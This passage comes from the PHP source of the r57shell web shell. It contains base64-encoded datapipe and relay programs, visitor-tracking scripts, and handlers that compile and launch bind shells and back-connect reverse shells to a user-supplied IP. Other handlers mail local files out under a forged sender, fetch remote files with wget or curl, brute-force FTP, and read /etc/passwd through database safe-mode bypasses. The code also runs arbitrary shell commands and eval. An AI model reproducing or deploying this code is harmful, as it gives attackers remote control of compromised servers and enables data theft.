+J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo ''; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print ""; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo ' +
    '.ws(1).'  +!'.ws(2).'r57shell '.$version.' +'; +echo ws(2); +echo "".date ("d-m-Y H:i:s").""; +echo ws(2).$lb." phpinfo ".$rb; +echo ws(2).$lb." php.ini ".$rb; +echo ws(2).$lb." cpu ".$rb; +echo ws(2).$lb." mem ".$rb; +if($unix) { echo ws(2).$lb." users ".$rb; } +echo ws(2).$lb." tmp ".$rb; +echo ws(2).$lb." delete ".$rb."
    "; +echo ws(2); +echo (($safe_mode)?("safe_mode: ON"):("safe_mode: OFF")); +echo ws(2); +echo "PHP version: ".@phpversion().""; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); +echo ws(2); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo ws(2); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo ws(2); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF";} +echo ws(2); +echo "Oracle: "; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "ON";}else{echo "OFF";} +echo "
    ".ws(2); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "
    ".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all).""; +echo '
    +
    +
    '; +echo $font; +if(!$windows){ +echo 'uname -a :'.ws(1).'
    sysctl :'.ws(1).'
    $OSTYPE :'.ws(1).'
    Server :'.ws(1).'
    id :'.ws(1).'
    pwd :'.ws(1).'

    '; +echo "
    "; +echo ""; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."
    "):(ws(3).@substr(@php_uname(),0,120)."
    ")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."
    "; +echo ws(3).ex('echo $OSTYPE')."
    "; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
    "; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."
    "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."
    ")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "
    "; +} +else +{ +echo 'OS :'.ws(1).'
    Server :'.ws(1).'
    User :'.ws(1).'
    pwd :'.ws(1).'

    '; +echo "
    "; +echo ""; +echo ws(3).@substr(@php_uname(),0,120)."
    "; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
    "; +echo ws(3).@get_current_user()."
    "; +echo ws(3).$dir; +echo "
    "; +} +echo ""; +echo "
    "; +if(empty($c1)||empty($c2)) { die(); } +$f = '
    '; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "
    ".$lang[$language.'_text61']."
    "; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "
    ".$lang[$language.'_text63']."
    "; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "
    ".$lang[$language.'_text62']."
    "; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "
    ".$lang[$language.'_text64']."
    "; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "
    "; + echo ws(3)."".$_POST['e_name'].""; + echo "
    "; + echo ""; + echo ""; + echo ""; + echo (!empty($only_read)?("

    ".$lang[$language.'_text44']):("

    ")); + echo "
    "; + echo "
    "; + echo "
    "; + echo ""; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "
    ".$lang[$language.'_text45']."
    "; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("
    Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
    "); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "
    ".$lang[$language.'_text96']."
    "; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']."
    "; +echo "
    "; +echo ""; +echo ""; +function up_down($id) + { + global $lang; + global $language; + return ' '; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return ''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"".$lang[$language.'_text43'].$arrow."",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.''.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"".$lang[$language.'_text58'].$arrow."",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".ws(3)."".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"".$lang[$language.'_text68'].$arrow."","".ws(2)."".$lang[$language.'_text69'].$arrow."".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow."".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= ""; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."","".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"".$lang[$language.'_text52'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text53'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text55'].$arrow."",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"".$lang[$language.'_text72'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text73'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text74'].$arrow."",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "
    ".div('id9').""; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "
    ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "
    "; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "
    "; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo ""; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"".$lang[$language.'_text6'].$arrow."",in('file','userfile',85,'')); +echo sr(15,"".$lang[$language.'_text21'].$arrow."",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; 